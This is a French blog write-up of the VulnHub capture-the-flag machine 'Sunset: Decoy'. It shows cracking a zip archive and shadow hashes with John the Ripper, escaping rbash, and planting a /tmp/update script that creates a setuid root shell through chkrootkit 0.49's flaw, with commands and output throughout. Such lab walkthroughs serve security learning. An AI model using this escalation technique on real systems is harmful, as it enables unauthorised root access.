Accueil Solution du CTF Sunset: Decoy de VulnHub
Post
Annuler

Solution du CTF Sunset: Decoy de VulnHub

Le CTF Sunset: Decoy était amusant. Certes l’escalade de privilège se base sur un logiciel déjà croisé sur d’autres CTFs mais le fait qu’on puisse pour une fois le déclencher nous même était inattendu.

Sur cette VM on a un port 80 en écoute avec un listing de fichiers présent. Il se trouve qu’il n’y a qu’une archive nommée save.zip qui, sans surprise, est protégée par mot de passe.

On lance donc l’habituel zip2john pour générer un hash que l’on casse avec l’indémodable JtR :

1
2
3
4
5
6
7
8
9
$ john --wordlist=rockyou.txt hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
manuel           (save.zip)     
1g 0:00:00:00 DONE (2023-04-08 22:20) 16.66g/s 136533p/s 136533c/s 136533C/s 123456..toodles
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

On trouve différents fichiers du système dans cette archive, mais surtout passwd et shadow.

1
2
3
4
5
6
7
8
9
10
11
Archive:  save.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1807  2020-06-28 00:05   etc/passwd
     1111  2020-07-07 22:26   etc/shadow
      829  2020-06-27 23:40   etc/group
      669  2020-02-02 08:41   etc/sudoers
      185  2020-06-27 22:58   etc/hosts
       33  2020-06-27 23:39   etc/hostname
---------                     -------
     4634                     6 files

On relance donc JtR pour casser les hashes des utilisateurs et on obtient rapidement le mot de passe server pour l’utilisateur 296640a3b825115a47b68fc44501c828.

Sans surprise à la connexion, on se retrouve face à un rbash (qu’on pouvait voir dans la ligne du fichier passwd pour cet utilisateur) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ssh 296640a3b825115a47b68fc44501c828@192.168.56.164
296640a3b825115a47b68fc44501c828@192.168.56.164's password: 
Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jul  7 16:45:50 2020 from 192.168.1.162
-rbash: dircolors: command not found
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls
honeypot.decoy  honeypot.decoy.cpp  id  ifconfig  ls  mkdir  SV-502  user.txt
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat user.txt
-rbash: cat: command not found
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ echo $PATH
PATH:/home/296640a3b825115a47b68fc44501c828/
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ export PATH=/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin:/home/296640a3b825115a47b68fc44501c828/
-rbash: PATH: readonly variable

rbash est un shell restreint. Ici on voit qu’il ne nous permet que d’exécuter les binaires présents dans le dossier courant.

On va donc le prendre au pied de la lettre. Pour cela je me sers de scp pour copier /bin/bash sur ma machine puis dans le sens inverse de ma machine vers le dossier de l’utilisateur.

Il me suffit alors d’appeler bash et de corriger le PATH. Ce rbash est désormais de l’histoire ancienne.

Il y a un binaire custom dont on ne peut lire le code source :

1
2
-rwxr-xr-x 1 root                             root                               17480 Jul  7  2020 honeypot.decoy
-rw------- 1 root                             root                                1855 Jul  7  2020 honeypot.decoy.cpp

Toutefois, on peut se faire une petite idée de son utilité en regardant dans le binaire (commande strings) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
libc.so.6
__cxa_atexit
system
__cxa_finalize
__libc_start_main
GLIBCXX_3.4
GLIBC_2.2.5
u/UH
[]A\A]A^A_
Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.
Option selected:
No available option was selected. Ending program.
/usr/bin/date
/usr/bin/cal
Shutdown is currently not available due to not enough privileges. Ending program.
Rebooting is currently not available due to not enough privileges. Ending program.
/usr/bin/touch /dev/shm/STTY5246
The AV Scan will be launched in a minute or less.
/usr/bin/cat /etc/passwd
/usr/bin/vi /tmp/cmFuZG9tc2Zvc2FuZm9kYW52cw==
/usr/sbin/service apache2 status

Le programme n’étant pas setuid, il semble peu intéressant pour le moment.

Dans le dossier SV-502 je trouve un fichier log.txt qui correspond à un output de l’outil de surveillance de processus pspy.

La ligne la plus intéressante est la mention de chkrootkit 0.49 :

1
2020/06/27 18:56:58 CMD: UID=0    PID=12386  | tar -xvzf chkrootkit-0.49.tar.gz

J’ai exploité ce programme vulnérable notamment sur le CTF Fuku.

L’idée est de placer un script nommé update qui sera exécuté lorsque chkrootkit est appelé. J’ai donc édité le même script que les dernières fois.

1
2
3
4
5
6
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ vi /tmp/update
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ chmod 755 /tmp/update
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat /tmp/update
#!/bin/bash
cp /usr/bin/dash /tmp/devloop_was_here
chmod 4755 /tmp/devloop_was_here

Mais après quelques minutes, nada…. C’est sans doute le moment d’utiliser le binaire vu plus tôt :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ./honeypot.decoy 
--------------------------------------------------

Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.

Option selected:5

The AV Scan will be launched in a minute or less.
--------------------------------------------------
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls /dev/shm/STTY5246
/dev/shm/STTY5246

L’option 5 a visiblement provoqué la création du fichier /dev/shm/STTY5246.

Et cette fois chkrootkit a bien été lancé, nous ouvrant la porte du compte root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -al /tmp/devloop_was_here
-rwsr-xr-x 1 root root 121464 Apr  8 16:51 /tmp/devloop_was_here
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ /tmp/devloop_was_here -p
# id
uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) euid=0(root) groups=1000(296640a3b825115a47b68fc44501c828)
# cd /root
# ls
chkrootkit-0.49  chkrootkit-0.49.tar.gz  log.txt  pspy  root.txt  script.sh
# cat root.txt
  ........::::::::::::..           .......|...............::::::::........
     .:::::;;;;;;;;;;;:::::.... .     \   | ../....::::;;;;:::::.......
         .       ...........   / \\_   \  |  /     ......  .     ........./\
...:::../\\_  ......     ..._/'   \\\_  \###/   /\_    .../ \_.......   _//
.::::./   \\\ _   .../\    /'      \\\\#######//   \/\   //   \_   ....////
    _/      \\\\   _/ \\\ /  x       \\\\###////      \////     \__  _/////
  ./   x       \\\/     \/ x X           \//////                   \/////
 /     XxX     \\/         XxX X                                    ////   x
-----XxX-------------|-------XxX-----------*--------|---*-----|------------X--
       X        _X      *    X      **         **             x   **    *  X
      _X                    _X           x                *          x     X_


1c203242ab4b4509233ca210d50d2cc5

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

Le script qui était lancé par la crontab est le suivant :

1
2
3
4
5
6
FILE=/dev/shm/STTY5246
if test -f "$FILE"; then
    /root/chkrootkit-0.49/chkrootkit
else
    echo "An AV scan will not be launched."
fi
Cet article est sous licence CC BY 4.0 par l'auteur.